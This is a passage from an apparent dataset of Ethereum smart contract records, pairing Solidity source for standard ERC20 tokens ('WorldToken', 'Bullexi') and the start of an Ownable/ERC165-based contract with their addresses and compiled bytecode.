touched; function WorldToken() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } function _transfer(address _from, address _to, uint _value) internal { require (balances[_from] >= _value); // Check if the sender has enough require (balances[_to] + _value > balances[_to]); // Check for overflows balances[_from] = balances[_from].sub(_value); // Subtract from the sender balances[_to] = balances[_to].add(_value); // Add the same to the recipient emit Transfer(_from, _to, _value); } function safeWithdrawal(uint _value ) onlyOwner public { if (_value == 0) owner.transfer(address(this).balance); else owner.transfer(_value); } }
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc5780632ff2e9dc14610275578063313ce5671461029e5780635f56b6fe146102cd57806366188463146102f057806370a082311461034a578063715018a6146103975780638da5cb5b146103ac57806395d89b4114610401578063a9059cbb1461048f578063d73dd623146104e9578063dd62ed3e14610543578063f2fde38b146105af575b600080fd5b34156100f657600080fd5b6100fe6105e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610621565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610713565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061071d565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610ad7565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102b1610ae8565b604051808260ff1660ff16815260200191505060405180910390f35b34156102d857600080fd5b6102ee6004808035906020019091905050610aed565b005b34156102fb57600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c36565b604051808215151515815260200191505060405180910390f35b341561035557600080fd5b610381600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b6040518082815260200191505060405180910390f35b34156103a257600080fd5b6103aa610f0f565b005b34156103b757600080fd5b6103bf611014565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561040c57600080fd5b61041461103a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610454578082015181840152602081019050610439565b50505050905090810190601f1680156104815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561049a57600080fd5b6104cf600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611073565b604051808215151515815260200191505060405180910390f35b34156104f457600080fd5b610529600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611292565b604051808215151515815260200191505060405180910390f35b341561054e57600080fd5b610599600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061148e565b6040518082815260200191505060405180910390f35b34156105ba57600080fd5b6105e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611515565b005b6040805190810160405280600b81526020017f576f726c6420546f6b656e00000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561075a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107a757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561083257600080fd5b610883826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610916826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460ff16600a0a630ff95b000281565b600481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4957600080fd5b6000811415610bd057600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610bcb57600080fd5b610c33565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610c3257600080fd5b5b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d47576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ddb565b610d5a838261166d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6b57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f57544b430000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110b057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110fd57600080fd5b61114e826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111e1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061132382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156115ad57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561167b57fe5b818303905092915050565b6000818301905082811015151561169957fe5b809050929150505600a165627a7a72305820abf49fe1548373fcff01194edfeef457e1eef4359d1fd87d810cc00ecdb64c3b0029
[ 38 ]
0xf201d414ac3eeb650e3414bfb4c0da1a93434f6f
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'Bullexi' token contract // // Deployed to : 0xC8c4e42BE4f933fc4BFBa1B6E51318947c7825e3 // Symbol : BGNO // Name : Bullexi // Total supply: 3000000000000000000000000 // Decimals : 18 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract Bullexi is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function Bullexi() public { symbol = "BGNO"; name = "Bullexi"; decimals = 18; _totalSupply = 3000000000000000000000000; balances[0xC8c4e42BE4f933fc4BFBa1B6E51318947c7825e3] = _totalSupply; Transfer(address(0), 0xC8c4e42BE4f933fc4BFBa1B6E51318947c7825e3, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x606060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a557806318160ddd146101ff57806323b872dd14610228578063313ce567146102a15780633eaaf86b146102d057806370a08231146102f957806379ba5097146103465780638da5cb5b1461035b57806395d89b41146103b0578063a293d1e81461043e578063a9059cbb1461047e578063b5931f7c146104d8578063cae9ca5114610518578063d05c78da146105b5578063d4ee1d90146105f5578063dc39d06d1461064a578063dd62ed3e146106a4578063e6cb901314610710578063f2fde38b14610750575b600080fd5b341561012257600080fd5b61012a610789565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016a57808201518184015260208101905061014f565b50505050905090810190601f1680156101975780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b057600080fd5b6101e5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610827565b604051808215151515815260200191505060405180910390f35b341561020a57600080fd5b610212610919565b6040518082815260200191505060405180910390f35b341561023357600080fd5b610287600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610964565b604051808215151515815260200191505060405180910390f35b34156102ac57600080fd5b6102b4610bf4565b604051808260ff1660ff16815260200191505060405180910390f35b34156102db57600080fd5b6102e3610c07565b6040518082815260200191505060405180910390f35b341561030457600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c0d565b6040518082815260200191505060405180910390f35b341561035157600080fd5b610359610c56565b005b341561036657600080fd5b61036e610df5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103bb57600080fd5b6103c3610e1a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104035780820151818401526020810190506103e8565b50505050905090810190601f1680156104305780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561044957600080fd5b6104686004808035906020019091908035906020019091905050610eb8565b6040518082815260200191505060405180910390f35b341561048957600080fd5b6104be600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ed4565b604051808215151515815260200191505060405180910390f35b34156104e357600080fd5b610502600480803590602001909190803590602001909190505061105d565b6040518082815260200191505060405180910390f35b341561052357600080fd5b61059b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611081565b604051808215151515815260200191505060405180910390f35b34156105c057600080fd5b6105df60048080359060200190919080359060200190919050506112c7565b6040518082815260200191505060405180910390f35b341561060057600080fd5b6106086112f8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561065557600080fd5b61068a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061131e565b604051808215151515815260200191505060405180910390f35b34156106af57600080fd5b6106fa600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061145d565b6040518082815260200191505060405180910390f35b341561071b57600080fd5b61073a60048080359060200190919080359060200190919050506114e4565b6040518082815260200191505060405180910390f35b341561075b57600080fd5b610787600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611500565b005b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561081f5780601f106107f45761010080835404028352916020019161081f565b820191906000526020600020905b81548152906001019060200180831161080257829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b60006109af600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610eb8565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a78600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610eb8565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b41600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114e4565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cb257600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610eb05780601f10610e8557610100808354040283529160200191610eb0565b820191906000526020600020905b815481529060010190602001808311610e9357829003601f168201915b505050505081565b6000828211151515610ec957600080fd5b818303905092915050565b6000610f1f600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610eb8565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fab600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114e4565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561106d57600080fd5b818381151561107857fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561125e578082015181840152602081019050611243565b50505050905090810190601f16801561128b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15156112ac57600080fd5b5af115156112b957600080fd5b505050600190509392505050565b6000818302905060008314806112e757508183828115156112e457fe5b04145b15156112f257600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561137b57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561143e57600080fd5b5af1151561144b57600080fd5b50505060405180519050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156114fa57600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561155b57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a723058204bed9b7b19439a5752517a45ee0f547cbe0b00022a655e1dddef43d34d7b5fe40029
[ 2 ]
0xf2025a9c5514c1be17247ab2f2d385de2ead4f26
// SPDX-License-Identifier: MIT // written by 0xInuarashi || https://twitter.com/0xInuarashi || Inuarashi#1234 (Discord) pragma solidity ^0.8.0; // ability to future-switch between transfer hook yield vs claim loop yield /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among 